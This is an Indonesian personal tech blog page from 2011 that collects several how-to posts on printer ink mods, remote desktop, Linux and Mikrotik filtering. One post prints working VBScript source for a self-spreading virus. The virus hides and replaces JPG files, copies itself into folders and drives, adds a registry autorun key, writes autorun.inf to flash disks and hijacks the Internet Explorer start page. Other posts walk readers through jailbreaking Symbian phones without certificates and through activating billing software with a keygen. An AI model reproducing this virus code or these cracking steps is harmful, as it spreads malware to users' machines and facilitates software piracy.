jam

setan

calender

Sabtu, 10 Desember 2011

Hack Symbian Tanpa Certificate by cilunk999 ( Tested & Mantap )


ssalamu'alaikum. Sebenarnya mau posting tutorial hack dengan memanfaatkan Norton Antivirus seperti yang di share oleh masta CODeRUS, tapi pas test ternyata Norton-nya sudah expired dan proses hack pun gagal, padahal waktu tes sebelumnya sukses. wink

Nah karena itu aku ganti dengan cara lain yang mirip, sama-sama memanfaatkan antivirus, sama-sama dari blognya masta CODeRUS, bedanya cara ini ditemukan oleh masta bebooo43 dengan menggunakan Trend Micro Mobile Security. Ok, yuk langsung ke TKP.

Pertama-tama siapkan dulu alat perangnya:

Hack tool.zip

Patcher.zip
Install-server.zip


Kalau sudah didownload semua, kita mulai perang mrgreen

1. Extract dan instal Xplore1.53 yang udah sobat download (ada di Hack-tool.zip).

2. Buka Xplore. Cari dan buka file Patcher.zip. Lalu extract folder tmquarantine ke C:\(taruh disini). Nanti jadinya akan ada folder C:\tmquarantine.


3. Masih dengan Xplore, buka file Hack-tool.zip dan instal Mobile Security_2.sis. Jika ada pertanyaan-pertanyaan saat proses instalasi, tekan YES / LANJUT saja. Setelah proses instalasi selesai, tunggu sampai muncul perintah untuk me-restart ponsel, lalu pilih OK sajalah, dan biarkan sampai ponsel hidup kembali mrgreen

4. Buka Mobile Security, jika muncul notifikasi trial maka pilih YES.



5. Tekan OPTIONS > QUARANTINE LIST. Akan muncul 3 file berextensi .ldd.



6. Tekan OPTIONS > MARK/UNMARK > MARK ALL.


7. Tekan OPTIONS > RESTORE, lalu pilih YES saat muncul notifikasi. Jika sudah selesai, silahkan keluar dari Mobile Security.



8. Buka kembali file Hack Tool.zip melalui Xplore, extract dan instal RomPatcher+ 3.1 yang ada didalamnya. Jika selesai menginstal, bisa keluar dari Xplore, diminimalkan juga boleh smile

9. Buka RomPatcher+ yang telah sobat instal. Tekan OPTIONS >> ALL PATCHES >> APPLY,

dan lihat hasilnya sbb:
*Jika pada Install_Server_RP+ warnanya ikut menjadi hijau, maka SELAMAT karena PONSEL SYMBIAN SOBAT TELAH BERHASIL DI HACK mrgreen
* Tapi jika pada patch Install_Server_RP+ lingkarannya berwarna merah seperti pada gambar dibawah, maka kita lanjut ke langkah berikutnya biggrin

10. Langkah terakhir, buka Xplore. Cari dan buka file Install-Server.zip yang tadi telah sobat download. Didalamnya ada folder-folder yang berisi file Install-server.exe. Silahkan pilih sesuai spesifikasi ponsel sobat dan extract file Install-server.exe tersebut ke folder C:/SYS/BIN/(taruh disini).




Catatan: Jika bingung tidak tau apa versi firmware ponsel sobat, silahkan tanya di kolom komentar. Jangan lupa sertakan type ponsel symbian sobat. Bisa juga dilihat langsung DISINI

FINISH,,!!


SELAMAT MENCOBA dan SEMOGA BERMANFAAT. wink

Test: Nokia N80i (pre-fp1 9.1) dan X-5.01 (fp2 9.3) Read More..

Sabtu, 15 Oktober 2011

Cara Menggunakan TeamViewer (Remote Desktop)


TeamViewer Remote Desktop FreeTeamViewer adalah suatu program yang cukup sederhana dan sangat mudah digunakan untuk beberapa keperluan terutama melakukan akses PC secara remote melalui internet.

TeamViewer saat ini sudah mencapai versi 4, merupakan aplikasi yang sangat cocok digunakan untuk mengakses PC lain melalui internet, keunggulan utamannya adalah Gratis siapa juga yang ga seneng denger kata-kata gratis.
Sebetulnya kelebihan utama "TeamViewer" ini seperti yang saya kutip dari situs resminya adalah

Windows 7 is approaching - TeamViewer 4 has already passed the "Compatible with Windows 7" logo test.

TeamViewer 4 works on all Windows versions from Windows 98 up to Windows 7 and is also available for Apple Mac OS X. It can even be used for cross-platform connections from Windows to Mac and back!

Sangat menarik karena teamviewer dapat cross-platform connections. Saya sudah menggunakannya sejak versi 3 dan sampai sekarang kedua versi tersebut masih terinstall dan dapat berjalan dengan baik, karena Teamviewer hanya bisa melakukan akses komputer (PC) secara remote jika menggunakan versi yang sama.

Fitur utama TeamViewer adalah:

Remote Support
Presentation
File Transfer
VPN

Yang sering saya gunakan hanya Remote Support (akses PC Klien melalui jalur internet), fitur/manfaat TeamViewer yang satu ini sangat membantu jika kita perlu mengakses PC yang jauh dari posisi kita sekarang, karena cukup terkoneksi internet dan mengetahui ID serta Password PC tersebut dalam hitungan detik kita sudah bisa akses PC itu secara remote seperti kita ada di depan PC tersebut secara langsung. Selain fungsi remote desktop, manfaat lain yang sering saya gunakan adalah "File Transfer" daripada berkirim file lewat email saya lebih pilih menggunakan teamviewer, karena bisa melakukan copy file langsung ke direktori yang kita inginkan, bisanya saya lakukan jika akan update program yang saya buat untuk beberapa konsumen.

Perbedaan utama yang saya rasakan saat menggunakan program ini dengan beberapa program untuk remote desktop adalah "cepat dan stabil" walau kadang saya akses internet hanya dengan koneksi GPRS, tapi masih sanggup melakukan remote ke PC lain,jika anda mempunyai koneksi internet yang cukup cepat dan stabil maka delay yang terjadi tidak akan terasa, karena seakan-akan anda berada langsung di depan PC tersebut.

Syarat utama untuk dapat mengunakan TeamViewer adalah:

Install TeamViewer di kedua PC yang akan melakukan koneksi secara remote (versi sama)
Koneksi internet sudah tersambung
Masukan ID dan password PC yang akan diremote. ID dan Password dapat menggunakan mode dynamic maupun ditentukan sendiri, tergantung kebutuhan saya biasa menggunakan kedua duanya tergantung situasi.

Sekilas penggunaan Teamviewer:


cara menggunakan TeamViewer
Tampilan utama TeamViewer, jika sudah tampil (Ready to connect (secure connection)) maka anda siap melakukan koneksi ke PC lain, kemudian masukan ID PC klien jika koneksi berhasil maka akan muncul kotak "Password", isi password teamviewer PC yang akan anda remote. Jika berhasil maka akan tampil desktop PC yang diremote tersebut.
Jika anda ingin melakukan File Transfer, maka pilih "File Transfer" pada bagian pilihan yang terlihat dibawah kotak ID, kemudian klik "Connect to partner".



seting password TeamViewer
Contoh Teamviewer versi 4

Jika ingin menggunakan password dan ID yang tetap maka cukup tempatkan kursor mouse pada bagian kotak password, maka akan tampil seperti gambar diatas, pilih "Set user definied password" kemudian masukan password yang anda inginkan.

Teamviewer sangat membantu jika anda mengelola/membuat program karena kadang saya menggunakannya untu melakukan perbaikan bug/error program maupun mengakses database klien dan memperbaikinya secara langsung tanpa perlu datang ke lokasi

Download Team Viewer 4.0.5459 Pro Read More..

Kamis, 08 September 2011

Cara Memasang Infus Printer canon iP 1980

Kali ini cilung akan menoba menulis tentang cara memasang infus pada printer canon IP1980. Walaupun mungkin sudah termasuk artikel yg kadaluwarsa, tapi nggak apalah untuk melengkapi isi dari blog ini. OK bagi yg belum tahu mau tahu caranya ...?


OK langsung saja ya, berikut cara memasang infus pada Canon iP1980 :

Peralatan yg dibutuhkan :
1. Printer Canon IP 1980
2. Tabung infus / CISS (Continuous Ink Supply System)
3. Lakban / Isolasi.





OK langsung kita mulai Memasang Infus Printer Canon IP1980 :

1. Lepas stiker yang menempel pada catridge,

2. Buat lubang kecil yang harus sesuai dengan ukuran karet selang infus dengan bor/ cutter/ solder pada catridge seperti di gambar ini.

3. Khusus yang catrid warna tes dengan tissue untuk mengetahui lubang tinta Merah, biru dan kuning, atau lihat gambar.




4. Pasang selang infusnya pada lubang yang anda buat tadi sesuai dengan warna tinta. Sebelumnya biarkan tinta mengalir sampai ujung selang kemudian baru di pasang ke catrid

5. Kemudian pasang catridge nya pada printer

6. Pasang dan tempelkan plastik kecil segiempat atau lem (yg penting nempel kuat) untuk mengatur posisi selang tinta pada pada catridge hitam agar saat printer di hidupkan selang infusnya berjalan lancar jalan seperti pada gambar ini.




7. Atur selang sehingga tidak nyangkut ke body printer biasanya di tengah kang EKo lakban dengan body depan printer.

Ok selamat mencoba, Anda bisa berkreasi lain, tidak harus sama seperti ini, yang penting selang infus lancar gerakannya dan tidak nyangkut ke body printer, karena kalau nyangkut printer akan berhenti dan ada peringatan error 5100. Read More..

Cara Modif Printer Canon iP 2770

Selamat berkunjung kepada teman-teman yg baru mampir ke blog cilung ini. dan Topik kali ini adalah Cara Pasang Infus Canon iP2770. Cara Pasang infus iP2770 ini memang agak sedikit berbeda dengan type canon yang lainnya. mau tahu caranya .....?

OK langsung saja ya ....

Cara Pasang Infus Canon iP2770 :

1. Siapkan alat infusnya berikut selang dan seperangkatnya.

2. lubangi catrid hitam, sesuaikan dengan gambar. Lubang harus pas tidak boleh longgar.

3. Langkah ini yang membedakan antara IP2770 dengan infus canon yg model dibawahnya.
Catrid warna juga dilubangi, untuk warna biru dan kuning sama seperti infus canon dulu. Sedangkan untuk warna merah lubang agak sedikit di geser ke kiri sekitar 3mm. Kemudian tutup pengunci catrid warna agak dibuat rongga sedikit untuk tempat selang warna merah. Karena kalau nggak dibuat seperti itu maka Catrid tidak akan terdeteksi karena kuncian catrid tidak sempurna.

Lebih jelasnya lihat gambar.




4. Kemudian pasang kedua catridnya dan khusus catrid warna depannya diganjal dengan tissu / kertas agar catrid menempel sempurna di rumah catrid. Kalau catrid tidak terpasang sempurna di rumah catrid (karena longgar) maka printer akan blink 5x orange 1x hijau. Jika terjadi blinking ini benahi lagi letak catridnya.





5. Atur selang tinta sesuaikan dengan gambar. Lihat bagian yang di lakban.





6. Selesai tinggal nyoba.......

Selamat mencoba .... Read More..

Sabtu, 13 Agustus 2011

Bagi yang pengen usaha warnet nah aplikasi ini cocok sekali bagi sobat yang ingin membuka usaha warnet. Merupakan aplikasi produk buatan lokal yang dapat menentukan waktu dan biaya sebuah client yang sedang berjalan,,

Billing Explorer DeskPro8 merupakan aplikasi sederhana yang dapat memantau waktu dan biaya sebuah client juga banyak fasilitas yang bisa di nikmati di aplikasi ini misalnya pilihan paket saat bermain dll, bagi yang udah merequestnya silahkan di coba aplikasinya,,

Oiya bagi yang kesulitan dengan aktivasi softwarenya dapat mengikuti cara-cara dibawah ini.

Cara mengaktivasi Billing Explorer DeskPro8 :

1. Download dan extract .rar
2. Instal Billing Explorer DeskPro8
3. Masuk kedalam program Billing Explorer DeskPro8
4. Klik menu "Help" -> Pilih "Registrasi" / F9
5. Kemudian pilih "Username : admin" dan masukan "Password : 008"






6. Isikan form nama warnet jalan dll kemudian klik "Continue" jika sudah selesai




7. Kemudian buka "Keygen/Key Generator" yang telah diberikan.
8. Selanjutnya masukan "Serial Number" yang berada di Registrasi B-Exp kedalam form
Keygen "Serial Number" kemudian klik "Generate".
9. Dan masukan data-data seperti "Nomor Registrasi", "Nomor Id-Billing" dkk dan klik
"REGISTRASI"




10. Jika sudah selesai memasukan data-data close/exit Billing Explorer DeskPro8nya
kemudian jalankan kembali.
11. Dan untuk memastikan apakah sudah teregister apa belum klik menu "Help" -> "Test
Registrasi"
12. Wah ternyata gagal dalam mengaktifasinya. eits jangan panik dulu sob lakukan ulang
registarsi seperti prosedur diatas.





13. Jika berhasil mengaktifasi maka tampilan tersebut akan sepeti ini




14. Selesai

download Billing Explorer Deskpro 8 Vista7 F12 2010 Read More..

Kamis, 16 Juni 2011

Teknik Membuat Anti Virus Dengan VB

Keamanan dalam bekerja dengan menggunakan komputer sebagai sarana mengaplikasikan berbagai pekerjaan, anti virus merupakan kebutuhan pokok yang harus dipunyai oleh setiap komputer. tapi apakah semua anti virus yang beredar di pasaran sanggup untuk mengatasi berbagai malcode yang berkeliaran? jawabannya pasti tidak. kenapa? karena semakin canggihnya teknologi dan semakin pintarnya seseorang maka semakin bobrok juga otak2 orang itu.,…..

Pada kenyataannya, sekarang banyak virus, worm dan berbagai saudaranya yang beredar yang dihasilkan oleh orang2 yang tak punya moral dengan tujuan tertentu. (ah…..jadi vixers ga ada untungnya, cuma ngerusakin kompi orang).

yooo…. dari pada basa basi mending kita bahas, susah ga bikin removal atau anti virus itu? jawabannya bisa ya bisa tidak, kenapa.? kalo mo buat anti virus yang diperlukan adalah bahasa program apa yang kita kuasai, klo ga menguasai gimana dok? jawabannya ya belajarlah (susah2 amat).

ok…. buat persiapan bikin anti virus :(…….Lets Go………)

1. Siapkan sampel2 virus

Kita harus nyiapin sampel2 virus, yang berguna agar program ,yang kita buat dapat mendeteksi keberadaan virus2 tersebut. semakin banyak sampel yang kita punyai semakin baik program tersebut dalam mendeteksi virus2 yang beredar maupun varian2 nya.

2. Teh Panas, Lucky Strike and Lagu Kesukaan ( BIar Ga Bosan)

(saya hanya memaparkan beberapa souce code yang dianggap penting,,,, dalam membuat anti virus)

MEMBACA SIGNATURE VIRUS YANG ADA

Private Sub cmdTambah_Click()

Dim nf As Integer

Dim cVDF As String

Dim cPattern As String

cVDF = App.Path + “\Scan.vdf”

nf = FreeFile

Open cVDF For Append As #nf

cPattern = AmbilPatternFile(txtPath.Text)

If cPattern = “” Then

MsgBox “Gagal mengambil pattern virus !”, vbCritical, vbOKOnly

Else

Print #nf, cPattern + txtNamaVirus.Text

Call lstHistory.AddItem(”Tambah VDF : ” + txtNamaVirus.Text, 0)

End If

Close #nf

End Sub

Kelemahan Teknik ini berfungsi jika signature virus ada, jika tidak maka kemungkinan virus-virus tidak akan dikenali….

teknik lain yang sering digunakan oleh antivirus lain seperti CRC atau ceksum… dan ini kemungkinan besar untuk mendeteksi keberadaan virus-virus yang ada

CEK PROSES BERJALAN


Public Sub CekProcesses()

Dim hSnapShot As Long

Dim ProcessEntry As PROCESSENTRY32

Dim NextEnumExists As Boolean

Dim Pos As Long

Dim pId As Long

Dim fileName As String

Dim baseName As String



hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)

If hSnapShot = 0 Then

MsgBox “Failed to create Module and Thread snapshot”

Exit Sub

End If



ProcessEntry.dwSize = Len(ProcessEntry)

NextEnumExists = 0 <> Process32First(hSnapShot, ProcessEntry)



While NextEnumExists

pId = ProcessEntry.th32ProcessID


Pos = InStr(ProcessEntry.szExeFile, Chr(0))


If Pos > 1 Then

fileName = Left(ProcessEntry.szExeFile, Pos - 1)

baseName = extractFilename(fileName)

Else

fileName = “”

baseName = “”

End If


Call lstHistory.AddItem(”Periksa (” + Hex$(pId) + “) ” + fileName, 0)


Call cekModules(pId)


NextEnumExists = 0 <> Process32Next(hSnapShot, ProcessEntry)

Wend



Call CloseHandle(hSnapShot)



End Sub



Public Sub CekModules(pId As Long)

Dim ModuleEntry As TMODULEENTRY32

Dim hProcess As Long

Dim Proceed As Long

Dim hSnapShot As Long



Dim lWritten As Long



Dim sBuffer As String * 512

Dim ImageNTHeader As IMAGE_NT_HEADERS



Dim e_lfanew As Integer



Dim Pattern As String



Dim i As Integer



If GetVersion = VER_PLATFORM_WIN32_NT Then

If Not SetPrivilege(”SeDebugPrivilege”, True) Then Exit Sub

End If


hProcess = OpenProcess(PROCESS_ALL_ACCESS, False, pId)


If hProcess <> 0 Then

hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pId)



If hSnapShot <> -1 Then

ModuleEntry.dwSize = Len(ModuleEntry)

Proceed = Module32First(hSnapShot, ModuleEntry)



Do While Proceed


sBuffer = Space(1024)


If ReadProcessMemory(hProcess, ByVal ModuleEntry.modBaseAddr, ByVal sBuffer, 512, lWritten) Then

If lWritten > 0 Then

e_lfanew = InStr(sBuffer, “PE” + Chr$(0) + Chr$(0)) - 1

If e_lfanew > 0 Then

If ReadProcessMemory(hProcess, ByVal (ModuleEntry.modBaseAddr + e_lfanew), ByVal ImageNTHeader, Len(ImageNTHeader), lWritten) Then

Pattern = buatPattern(ImageNTHeader)

i = 0

Do While i <= PatternCount If Pattern = Left(PatternVirus(i), Len(Pattern)) Then Exit Do i = i + 1 Loop If i <= PatternCount Then Call TerminateProcess(hProcess, 0) Call lstHistory.AddItem(”Found :” + Mid$(PatternVirus(i), Len(Pattern) + 1), 0) Call lstHistory.AddItem(”Action: Delete process”, 0) End If End If End If End If End If Proceed = Module32Next(hSnapShot, ModuleEntry) Loop End If CloseHandle (hSnapShot) End If CloseHandle (hProcess) If GetVersion() = VER_PLATFORM_WIN32_NT Then Call SetPrivilege(”SeDebugPrivilege”, False) End If End Sub setelah menghentikan prosesnya kita akan mencari virus2 tersebut MENCARI DAN MENDAPATKAN VIRUS2 DIMEDIA PENYIMPANAN Function GetFiles(Path As String) Dim ObjFSO As Object Dim sFiles As Object Dim Pattern As String Dim i As Integer On Error GoTo Finally Set ObjFSO = CreateObject(”Scripting.FileSystemObject”) txtScan.Text = Path For Each sFiles In ObjFSO.GetFolder(Path).Files DoEvents If InStr(”bat bin com cmd dll exe ini htt pif”, Right$(sFiles, 3)) > 0 Then

Pattern = AmbilPatternFile(sFiles)

If Pattern <> “” Then

i = 0

Do While i <= PatternCount

If Pattern = Left(PatternVirus(i), Len(Pattern)) Then Exit Do

i = i + 1

Loop


If i <= PatternCount Then

Call lstHistory.AddItem(”File :” + sFiles, 0)

Call lstHistory.AddItem(”Found :” + Mid$(PatternVirus(i), Len(Pattern) + 1), 0)

End If

End If

End If

Next

Finally:

End Function





Ini hanya point-point penting yang terdapat dalam suatu antivirus…..

semoga lo dapat ngembanginnya…….soalnya gw juga lagi nyoba(he…he…he…)…

ntar deh aq kasih teknik lain pada tutorial berikutnya.

sumber :http://win-cinta.blogspot.com/2008/02/teknik-membuat-anti-virus-dengan-vb.html Read More..

cara membuat virus dengan VB

Virus komputer merupakan program komputer yang dapat menggandakan atau
menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke
dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus
biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup.
Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat
pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali.
Virus yang akan kita coba buat kali ini akan dibuat dengan menggunakan Visual
Basic Script. Terlebih dulu kira akan rencakan skenario kerja dari virus tersebut. Skenario
virus tersebut adalah sebagai berikut:
1. Virus akan mencari file-file .JPG pada folder dan subfolder satu tingkat
didalamnya, setelah itu merubah ekstension file JPG tersebut menjadi JPEG dan
merubah atributnya menjadi hidden file. Sehingga akan dikira file tersebut
terhapus.
2. Meng-copy-kan dirinya (virus) dalam folder-folder tertentu dalam Windows
3. Memodifikasi Registry agar secara otomatis menjalankan script virus pada saat
restart
4. Menularkan diri pada drive-drive yang aktif termasuk flash disk.
5. Membuat halaman HTML tertentu agar dijalankan pada start page di Internet
Explorer
Nah, demikianlah skenario virus yang akan kita buat. Untuk lebih jelasnya kita akan
pelajari dari script dibawah ini:

1. Pada bagian ini akan dibuat sebuah prosedur untuk mencari file-file JPG dan merubahnya sesuai dengan skenario diatas
Sub serangan_jpg(target)
on error resume next
set ftarget=fso.GetFile(target)
set fsource = fso.GetFile(Wscript.ScriptFullName)
ftarget.Copy(Left(target,instrrev(target,”.”)) & “jpeg”)
set fbackup = fso.GetFile(Left(target,instrrev(target,”.”)) & “jpeg”)
fbackup.Attributes = 2 fsource.Copy(Left(target,instrrev(target,”.”)) & “jpg ” & “.vbs”)
ftarget.Delete
ftarget.Close
fsource.Close
End Sub
Sub carifilejpg(folder)
For Each filetarget in fso.GetFolder(folder).Files
If (Right(filetarget,3)=”jpg”) then serangan_jpg(filetarget)
Next
End Sub


2. Prosedur dibawah ini berfungsi untuk mencari drive yang aktif termasuk media flash disk dan kemudian menularinya.
Sub serangan_drive()
Set fso = CreateObject(”Scripting.FileSystemObject”)
Set Drives=fso.drives
adaflashdisk = False
For Each drive in Drives
If drive.isready Then
fsource.Copy(drive & “” & “wolio.vbs”)
If drive.DriveType = 1 And drive.DriveLetter > “C:” Then adaflashdisk = True
End If
Next
If adaflashdisk = True Then
set fileautorun = fso.CreateTextFile(drive.DriveLetter & “” & “autorun.inf”,False)
fileautorun.WriteLine(”[AUTORUN]“)
fileautorun.WriteLine(”RUN=wolio.vbs”)
End If
End Sub


3. Merubah Registry agar Start Page pada Internet Explorer menjalankan file HTML yang diinginkan
Sub serangan_ie()
If (regedit.RegRead(”HKEY_CURRENT_USER\SOFTWARE\MicrosoftInternet Explorer\Main\Start
Page”)<>”c:\windows\system32\wolio.html”) Then
regedit.RegWrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\Start
Page”,”c:\windows\system32\wolio.html”
End If
End Sub


4. Bagian ini digunakan untuk membuat sebuah file HTML yang akan menjalankan script virus
Sub buat_html()
set filehtml = fso.CreateTextFile(”c:windowssystem32wolio.html”,True)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
“)
filehtml.WriteLine(”Welcome to Wolio”)
filehtml.WriteLine(”filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(”Selamat Datang di Wolio VBS “)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
End Sub


5. Pada bagian ini akan mencari folder yang ada dan menularinya dengan script virus
Sub serangan_folder(foldername)
on error resume next


For Each subfolder in fso.GetFolder(foldername).SubFolders
fsource.Copy(subfolder & “wolio.vbs”)
carifilejpg(subfolder)
next
End Sub

6. Bagian dibawah ini adalah bagian yang utama gunanya untuk mendeklarasikan variabel dan memangggil semua prosedur
on error resume next
dim fso, fsource, ftarget, fbackup, scriptname, myfolder, subfolder, preview, filetarget, sys, regedit, drive,
filehtml, fileautorun
dim adaflashdisk


set fso = CreateObject(”Scripting.FileSystemObject”)
set fsource = fso.GetFile(Wscript.ScriptFullName)
set regedit=CreateObject(”WScript.Shell”)

myfolder = Left(fsource,InStrRev(fsource,””))
‘ Copy-kan diri ke “c:windowssystem32″

fsource.Copy(”c:windowssystem32wolio.vbs”)
‘ Cari dan infeksi file JPG didalam folder
carifilejpg(myfolder)
‘ Copy-kan diri di sub folder yang ada
serangan_folder(myfolder)
‘ Regitry
if
(regedit.RegRead(”HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\Version\Run\Wolio”)<>”c:\win
dows\system32\wolio.vbs”) Then
regedit.RegWrite
“HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\VersionRun\Wolio”,”c:\windows\system32\wolio.
vbs”
End If
‘ Copy-kan diri ke semua drive aktif
serangan_drive()
‘ Buat file wolio.html
buat_html()
‘ Ubah Start Page di Internet Explorer
serangan_ie()

Demikianlah artikel tentang cara pembuatan dan penuluran sebuah virus yang dibuat dengan VBS. Setelah mengetahui teknik penyebaran suatu virus yang dibuat dengan VBS, maka diharapkan kepada Anda agar dapat melakukan pencegahan. Virus yang kita pelajari kali ini sebenarnya hanya virus yang “bodoh”, ini hanya membuka wacana Anda terhadap bahaya dari virus yang dibuat dengan VBS. Semoga artikel ini dapat bermanfaat Read More..

Jumat, 03 Juni 2011

Linux vs Windows


Kali ini gua ingin bahas perbedaan antara Windows dengan Linux
dikalangan kebanyakan orang, banyak yang menggunakan windows padahal untuk saat ini linux-lah yang menurut gua sangat sempurna. memang beralih ke linux kita harus mulai dengan nol.tapi klau kita bisa mengoperasikanya banyak kesenangan yang dirasakan yang tidak ada di windows.gua bakal beri perbedaan sedikit antara windows dengan linux

Windows : Bersifat close source(lisensi bayar) ,merogoh gocek banyak, mudah terserang virus,mudah digunakan,pengamanan kurang,lemot dan masih banyak lagi

linux :Bersifat terbuka , murah meriah (tidak buat kantong lo kering), hapir tidak terserang virus,sulit menggunakan karena belum terbiasa, pengamanan extra, cepat (banter rek),unix dan masih banyak kelebihanya.


thanks to read Read More..

Minggu, 29 Mei 2011

Blok Situs Porno menggunakan web proxy di mikrotik

Download tutorial untuk memblok situs porno menggunakan fasilitas web proxy di mikrotik, mirip dengan fasilitas block "word" atau kata-kata yang berbau porno, misal; sex, bugil, dsb pada squid proxy.

Download disini tutorialnya Read More..

DNS Nawala pada Mikrotik (Block Situs Porno)




Nawala Nusantara adalah sebuah layanan yang bebas digunakan oleh pengguna internet yang membutuhkan saringan situs negatif. Nawala Nusantara akan membantu menapis jenis situs-situs negatif yang tidak sesuai dengan peraturan perundangan, nilai dan norma sosial, adat istiadat dan kesusilaan bangsa Indonesia seperti pornografi dan perjudian. Selain itu, Nawala Nusantara juga akan menapis situs Internet yang mengandung konten berbahaya seperti malware, situs phising (penyesatan) dan sejenisnya.

Tutorial berikut mengulas bagaimana seting DNS Nawala pada Mikrotik
Download tutorial Read More..

Sabtu, 28 Mei 2011

DiskparT

perintah “Diskpart”…….?


Mungkin trik or tips yang atu ini telah banyak tercemar di masyarakat,,hee…..
tapi buat yang belum tau dengan trik ini di harapkan membacanya sampai selesai y….
sebelum kita belajar menghidden partisi ada baik nya kita mengucapkan basmalah….
buat yang udah bisa mudah2an jangan di salah gunakan y…

pertama – tama :
kita harus tau dulu target yang ingin kita sembunyikan alias di hidden pada contoh berikut ini kita gunakan aja partisi d ya…???

Pada Run kita ketikan “diskpart” tampa tanda kutip,,seperti yang tertera di gambar,,setelah muncul menu diskpart kira-kira bentuk nya seperti tampilan pada commandpromt ketikan perintah “select volume 2″ (tampa tanda kutip) perintah ini berguna untuk menentukan/memilih partisi yang akan kita hidden di sini saya sengaja memilih volume 2 karna saya akan menghidden partisi D,,kita dapat menentukan pilihan melalui angka di mulai dari 1 untuk partisi c dan 2 untuk partisi D,,3 untuk partisi E dan selanjutnya…
jika berhasil akan muncul pesan ” volume 2 is the selected volume “.











setelah berhasil ketikan perintah ” remove letter D ” perintah ini berfungsi menyembunyikan partisi,,setelah ada pesan success maka partisi D telah hilang dari muka bumi,,hee….
jangan lupa lihat dulu di my computer ya…
ups,,bagaimana cara mengembalikan partisi yang udah di hidden ya….???
teman2 tenang aja ya,,di sini kita juga membahas cara mengembalikan partisi yang udah di hidden,,
caranya..
gampang,,kita tinggal mengganti perintah “remove letter D” dengan “assigent letter D” maka partisi kita kembali seperti semula…
jika ingin melihat beberapa perintah lain tinggal ketikan “list volume” tentu saja kali ini kita menggunakan tanda kutip..
buat yang mencoba,,mudah2an sukses ya..
en janga di gunakan untuk yang tidak-tidak,,hee…
Salam blogger untuk semua….. Read More..

Billing Aura (for linux)

Akan Segera Hadir BillingAura v1.4
dengan fitur yang lebih kaya.

Apa itu Billing Aura ?

Billing untuk warung internet yang di khususkan untuk sistem operasi Linux. Billing ini bukan open source tapi freeware alias gratis, di perbolehkan untuk di pergunakan dengan tujuan non-komersial ataupun komersial. Tidak support untuk sistem operasi lain karena baik Server ataupun Client hanya dapat dipergunakan di bawah sistem operasi Linux. Telah di lakukan pengujian puluhan kali pada distro Ubuntu dan berjalan dengan baik. Kemungkinan juga bisa di jalankan di distro sejenis (keluarga Debian).


Kenapa Hanya linux ?

Karena Linux adalah sistem operasi yang handal, bebas dipakai dan bebas di modifikasi dan tentu saja bebas bayar, dan kalau menurut saya pribadi, saya tidak ingin ada hanya 1 sistem operasi yang cenderung dominan menguasai pasar terutama low & middle end, nah dengan adanya Billing aura ini diharapkan akan memicu munculnya warnet-warnet yang memakai sistem operasi Linux (murni linux tanpa ada sistem operasi lain) dan diharapkan juga semakin banyak pula kalangan anak, remaja, dewasa dan orang tua mengenal dan mengoperasikan sistem operasi Linux ini.untuk download billing Aura Read More..

Selasa, 24 Mei 2011

Tentang linux BlankOn

 

 

Pengenalan BlankOn Linux

TOC?
Kata “Linux” saat ini semakin banyak didengar oleh pecinta Teknologi Informasi dan Komunikasi (TIK) di seluruh dunia termasuk di Indonesia. Saat ini, Linux telah menjadi sistem operasi alternatif yang banyak digunakan berbagai kalangan, seperti kalangan bisnis, pendidikan, dan pemerintahan. Hal ini disebabkan karena Linux bersifat terbuka dan merdeka. Siapapun bisa mengembangkannya dan menggunakannya secara bebas.
Linux memiliki berbagai varian yang tiap varian memiliki “rasa” yang berbeda-beda. Varian-varian ini disebut dengan distribusi Linux atau lebih dikenal dengan istilah Distro Linux. Distro Linux saat ini berjumlah ratusan dan jumlahnya akan semakin bertambah karena sifat Linux yang terbuka. Distro Linux juga bisa dimodifikasi untuk membuat sebuah Distro Linux baru yang disebut dengan Distro turunan.
Distro Linux yang akan dibahas pada buku ini adalah BlankOn Linux versi 5.0 dengan nama kode “Nanggar” yang merupakan Distro Linux buatan anak bangsa yang diturunkan dari Distro Linux Ubuntu. Kelebihan Distro BlankOn daripada Distro Linux lainnya adalah penggunaan Bahasa Indonesia pada antarmukanya serta temanya memiliki ciri khas Indonesia, sehingga sangat cocok untuk digunakan bagi orang Indonesia.

Apa itu Linux?

Linux merupakan kernel atau dasar dari sistem operasi yang pertama kali ditulis oleh seorang mahasiswa Finlandia bernama Linus Benedict Torvalds pada tahun 1991. Hasil karyanya dilisensikan secara bebas dan terbuka (Free Software) sehingga siapa saja boleh mengembangkannya.
Kemudian Richard Stallman, seorang aktivis piranti lunak pendiri FSF (Free Sofware Foundation) berniat untuk menggabungkan Linux ke dalam proyek sistem operasinya yang bernama GNU (GNU is Not Unix). Karena pada saat itu, proyek GNU sama sekali belum selesai mengimplementasikan kernel sistem operasi. Akhirnya, dengan dirilisnya kernel Linux, terjadilah perkawinan antara peralatan (tools) yang dibuat oleh proyek GNU dengan kernel Linux yang dibuat oleh Linus Torvalds, sehingga menghasilkan sistem operasi baru bernama GNU/Linux, sebuah sistem operasi yang mirip dengan UNIX. Kesemua komponen dari sistem operasi GNU/Linux dilisensikan berdasarkan lisensi yang disebut GPL (GNU General Public License) yang ditulis sendiri oleh Richard Stallman. Lisensi ini memungkinkan setiap orang untuk secara bebas mengembangkan bahkan menjual Linux dengan syarat semua pengembangan yang telah dilakukan harus juga dipublikasikan kepada umum.
Pada perkembangan selanjutnya, Linux juga dipaketkan dengan piranti lunak lain untuk keperluan tertentu seperti server, desktop, perkantoran, internet, multimedia, dll sehingga menjadikannya apa yang disebut dengan distribusi Linux atau yang sering dikenal dengan istilah Distro Linux. Karena sifat Linux yang terbuka, siapapun bisa memaketkan Linux dengan piranti lunak pilihannya dengan cara pemaketan masing-masing untuk membuat distribusi Linux.
